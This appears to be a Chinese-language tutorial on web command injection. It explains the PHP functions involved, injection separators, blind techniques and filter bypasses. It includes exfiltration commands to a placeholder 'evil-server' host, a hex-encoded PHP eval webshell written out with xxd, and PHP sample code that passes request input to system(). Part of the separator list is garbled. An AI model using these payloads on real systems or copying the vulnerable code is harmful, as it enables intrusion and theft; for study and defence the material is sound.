常見漏洞之命令注入
命令注入通常因為指Web應用在服務器上拼接系統命令而造成的漏洞。該類漏洞通常出現在調用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主機名/IP/掩碼/網關、查看系統信息以及關閉重啟等功能,或者一些站點提供如ping、nslookup、提供發送郵件、轉換圖片等功能都可能出現該類漏洞。
漏洞介紹
程序員使用腳本語言(比如PHP)開發應用程序過程中,腳本語言開發十分快速、簡潔,方便,但是也伴隨著一些問題。比如說速度慢,或者無法接觸系統底層,如果我們開發的應用,特別是企業級的一些應用需要去調用一些外部程序。當應用需要調用一些外部程序時就會用到一些執行系統命令的函數。
漏洞成因
用戶可控點可以使用管道符進行命令拼接
參數點的過濾不嚴格,或者可以被繞過
漏洞危害
繼承Web服務器程序的權限,去執行系統命令
繼承Web服務器程序的權限,讀寫文件
反彈shell
寫Webshell
控制整個網站
甚至控制整個服務器
相關函數
system() 有回顯, 輸出并返回最后一行shell結果。
passthru()(有回顯),只調用命令,把命令的運行結果原樣地直接輸出到標準輸出設備上。
exec() (回顯最后一行-必須echo輸出)不輸出結果,返回最后一行shell結果,所有結果可以保存到一個返回的數組里面。
shell_exec() (無回顯-必須輸出)
反引號:``
popen(handle,mode)(無回顯,返回指針,需要將結果存到文件中)不會直接返回執行結果,而是返回一個文件指針
proc_open(‘cmd’,‘flag’,‘flag’)(無回顯)不會直接返回執行結果,而是返回一個文件指針。
常見注入方式
- 分號分割
||&&&分割|管道符\r%d0%a0換行- 反引號解析
$()替換
無回顯技
- bash反彈shell
- DNS帶外數據
- http帶外
curl http://evil-server/$(whoami) wget http://evil-server/$(whoami)
- 無帶外時利用
sleep或其他邏輯構造布爾條件
命令注入繞過
Windows:
WINDOWS:用^轉義<,即執行echo^>web可寫目錄加文件完整名字
LINUX:需要用\來轉義<,不過很多PHP都默認開啟gpc(魔術引號magic_qutes_gpc())。可以先用16進制轉換一句話再用xxd命令把16進制還原。
echo 3c3f706870206576616c28245f504f53545b6b616e675d293b203f3e|xxd -r -ps > web可寫目錄加文件完整名字
管道符說明:
|:管道符,將一個程序的輸出作為另一個程序的輸入
>:輸出重定向,將程序的輸出流入到某個程序或者文本中
>>:追加輸出重定向,將輸出的內容追加到一個文件的末尾
<:輸入重定向,將輸入的內容重定向到文件或程序中
其他特殊符號:
Windows平臺:
| 直接執行后面的語句 ping 127.0.0.1|whoami
|| 前面出錯執行后面的 ,前面為假 ping 2 || whoami
& 前面的語句為假則直接執行后面的,前面可真可假 ping 127.0.0.1&whoami
&& 前面的語句為假則直接出錯,后面的也不執行,前面只能為真 ping 127.0.0.1&&whoami
命令注入漏洞及利用
實例代碼:
$arg = $_GET['cmd'];if($arg){ system("$arg");}?>
實例代碼:
$ip = $_GET['ip'];if($ip){ system("ping –c 3 $ip");}?>
漏洞危害
繼承Web服務器程序的權限,去執行系統命令
繼承Web服務器程序的權限,讀寫文件
反彈shell
寫Webshell
控制整個網站
甚至控制整個服務器